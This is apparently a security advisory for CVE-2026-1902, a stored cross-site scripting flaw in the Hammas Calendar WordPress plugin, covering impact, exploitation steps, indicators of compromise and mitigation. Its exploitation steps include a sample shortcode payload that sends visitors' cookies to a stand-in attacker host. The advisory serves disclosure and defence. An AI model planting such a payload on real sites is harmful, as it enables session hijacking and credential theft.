CVE-2026-1902: 
WordPress vulnerability analysis and mitigation

CVE-2026-1902 is a Stored Cross-Site Scripting (XSS) vulnerability in the Hammas Calendar plugin for WordPress. It affects all versions up to and including 1.5.11, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the apix parameter in the hp-calendar-manage-redirect shortcode. The vulnerability was published on March 7, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping of the apix parameter processed by the hp-calendar-manage-redirect shortcode, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). An authenticated attacker with at least Contributor-level WordPress access can embed a malicious script payload within the shortcode parameter, which is then stored in the database and rendered unsanitized to any user who visits the affected page. The vulnerable code paths are visible in the plugin source at hp-calendar.php (line 37) and src/HpPlugin.php (line 54) (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any user who visits a page containing the injected shortcode, including administrators. This can lead to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. While availability is not directly impacted, the changed scope means the attack can affect users beyond the attacker's own session, and administrator compromise could result in full site takeover (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Hammas Calendar ≤ 1.5.11.
2. Craft Malicious Shortcode: Create or edit a post/page and insert the hp-calendar-manage-redirect shortcode with a malicious JavaScript payload in the apix parameter, e.g., [hp-calendar-manage-redirect apix="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
3. Publish the Page: Submit or publish the page containing the injected shortcode. The unsanitized payload is stored in the WordPress database.
4. Trigger Execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to pages containing the hp-calendar-manage-redirect shortcode with unusual or encoded values in the apix parameter.
• Database: WordPress wp_posts or wp_postmeta tables containing shortcode entries with <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads within the apix attribute.
• Network: Outbound browser requests from site visitors to unexpected external domains shortly after loading pages with the Hammas Calendar shortcode, potentially indicating script execution and data exfiltration.
• File System: Unexpected modifications to plugin files hp-calendar.php or src/HpPlugin.php if an attacker escalated to file write access post-exploitation.

WordPress site administrators should update the Hammas Calendar plugin to a version beyond 1.5.11 that includes the fix referenced in the plugin changeset (WordPress Trac Changeset). If an update is not immediately available, administrators should restrict Contributor-level user registration and review existing Contributor accounts for suspicious content. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Wordfence).

The vulnerability was reported by Wordfence and catalogued by ENISA under EUVD-2026-10097. It received standard automated coverage from vulnerability aggregators and CVE tracking feeds, with no notable researcher commentary or significant community discussion beyond routine disclosure (Wordfence, ENISA EUVD).